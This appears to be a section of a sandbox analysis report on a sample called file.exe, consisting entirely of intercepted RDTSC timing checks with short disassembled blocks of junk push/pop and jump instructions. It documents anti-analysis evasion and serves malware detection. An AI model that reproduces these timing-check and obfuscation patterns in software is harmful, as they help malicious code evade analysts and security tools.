Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE41F second address: ACE430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FAA8CDD0FC8h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACED96 second address: ACEDD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FAA8CB48467h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jl 00007FAA8CB4845Ch 0x00000014 sub edx, dword ptr [ebp+12447074h] 0x0000001a lea eax, dword ptr [ebp+12475757h] 0x00000020 add edx, dword ptr [ebp+122D35D9h] 0x00000026 nop 0x00000027 pushad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACEDD3 second address: AB92A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FAA8CDD0FCDh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FAA8CDD0FC8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D2CD6h], edi 0x00000033 lea eax, dword ptr [ebp+12475713h] 0x00000039 jmp 00007FAA8CDD0FD3h 0x0000003e nop 0x0000003f jbe 00007FAA8CDD0FCAh 0x00000045 push esi 0x00000046 push esi 0x00000047 pop esi 0x00000048 pop esi 0x00000049 push eax 0x0000004a jmp 00007FAA8CDD0FD0h 0x0000004f nop 0x00000050 mov dh, 36h 0x00000052 call dword ptr [ebp+1244996Dh] 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b push edx 0x0000005c pop edx 0x0000005d jmp 00007FAA8CDD0FD9h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB92A3 second address: AB92A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01123 second address: B01129 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01811 second address: B0183C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAA8CB48469h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jc 00007FAA8CB48456h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0183C second address: B01841 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01841 second address: B0184C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0184C second address: B01852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B096FD second address: B09702 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10205 second address: B10209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10209 second address: B1020F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1020F second address: B1022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FAA8CDD0FCEh 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0ECED second address: B0ECFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FAA8CB48456h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0ECFA second address: B0ED02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0ED02 second address: B0ED29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FAA8CB48485h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAA8CB48466h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F0E2 second address: B0F0EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F0EA second address: B0F122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48469h 0x00000007 jg 00007FAA8CB48456h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007FAA8CB4845Eh 0x00000015 push eax 0x00000016 pop eax 0x00000017 jbe 00007FAA8CB48456h 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F122 second address: B0F12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAA8CDD0FC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F294 second address: B0F2AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FAA8CB48460h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F2AC second address: B0F2B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F720 second address: B0F724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F724 second address: B0F74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAA8CDD0FCBh 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FAA8CDD0FCCh 0x00000014 jp 00007FAA8CDD0FC8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F9D6 second address: B0F9F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48463h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007FAA8CB48456h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10093 second address: B10097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10097 second address: B100C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FAA8CB48468h 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAA8CB4845Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B11D71 second address: B11D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CDD0FCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15E4D second address: B15E5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB4845Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16247 second address: B16254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FAA8CDD0FC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16254 second address: B16258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15A0C second address: B15A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FAA8CDD0FC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15A16 second address: B15A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18FB5 second address: B18FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18FBD second address: B18FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18FC6 second address: B18FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18FCA second address: B18FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18B67 second address: B18B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18CD6 second address: B18CDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B87E second address: B1B88C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jnp 00007FAA8CDD0FC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1B88C second address: B1B89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAA8CB48456h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1BA10 second address: B1BA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FAA8CDD0FCAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1FB47 second address: B1FB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAA8CB48456h 0x0000000a popad 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jmp 00007FAA8CB48462h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1FCF0 second address: B1FD03 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAA8CDD0FCCh 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B200B5 second address: B200BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B200BA second address: B200CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAA8CDD0FCEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B200CD second address: B200EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB4845Dh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FAA8CB4845Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2024D second address: B20252 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2381E second address: B23845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FAA8CB48461h 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAA8CB4845Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23988 second address: B239A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAA8CDD0FD2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23B14 second address: B23B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAA8CB4845Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23B2C second address: B23B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23B32 second address: B23B51 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FAA8CB48458h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAA8CB4845Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23B51 second address: B23B5B instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23B5B second address: B23B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23B61 second address: B23B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23E61 second address: B23E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007FAA8CB48456h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28189 second address: B2818F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2818F second address: B28193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B282EE second address: B2830A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FD7h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28471 second address: B2848E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAA8CB48456h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jc 00007FAA8CB48456h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007FAA8CB48456h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2848E second address: B28492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28492 second address: B284AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB4845Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FAA8CB48456h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B284AE second address: B284B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE7B0 second address: ACE806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FAA8CB48456h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 jnp 00007FAA8CB4845Ah 0x00000017 mov dx, E9DDh 0x0000001b mov ebx, dword ptr [ebp+12475752h] 0x00000021 sub dword ptr [ebp+122D3139h], edx 0x00000027 add eax, ebx 0x00000029 call 00007FAA8CB4845Fh 0x0000002e mov dword ptr [ebp+124473FFh], eax 0x00000034 pop edx 0x00000035 push eax 0x00000036 push ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FAA8CB48463h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2873B second address: B28767 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAA8CDD0FDCh 0x00000008 jmp 00007FAA8CDD0FD4h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007FAA8CDD0FCAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28875 second address: B288A9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAA8CB4845Ah 0x00000008 push esi 0x00000009 jmp 00007FAA8CB4845Ah 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 jmp 00007FAA8CB4845Ah 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jnl 00007FAA8CB48456h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B288A9 second address: B288BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B288BD second address: B288C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B288C3 second address: B288C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EE75 second address: B2EE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EFD9 second address: B2EFDF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EFDF second address: B2EFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007FAA8CB48456h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EFF0 second address: B2EFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EFF5 second address: B2F010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB48467h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F010 second address: B2F02B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FAA8CDD0FC6h 0x00000015 jng 00007FAA8CDD0FC6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F799 second address: B2F7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FD26 second address: B2FD2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FD2F second address: B2FD4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB4845Ch 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jng 00007FAA8CB4845Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30969 second address: B3096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30C4C second address: B30C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FAA8CB48456h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33D0D second address: B33D16 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33FDB second address: B33FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33FE6 second address: B33FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3FCBA second address: B3FCEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FAA8CB48461h 0x0000000b jmp 00007FAA8CB48469h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3FCEA second address: B3FD0C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAA8CDD0FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007FAA8CDD0FC6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c jns 00007FAA8CDD0FC6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3FE4B second address: B3FE4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4017A second address: B4017E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4017E second address: B40182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40182 second address: B4019A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAA8CDD0FCDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4019A second address: B401B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48468h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B401B6 second address: B401BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B401BB second address: B401E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB4845Bh 0x00000009 jmp 00007FAA8CB4845Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FAA8CB48456h 0x00000017 jnc 00007FAA8CB48456h 0x0000001d rdtsc
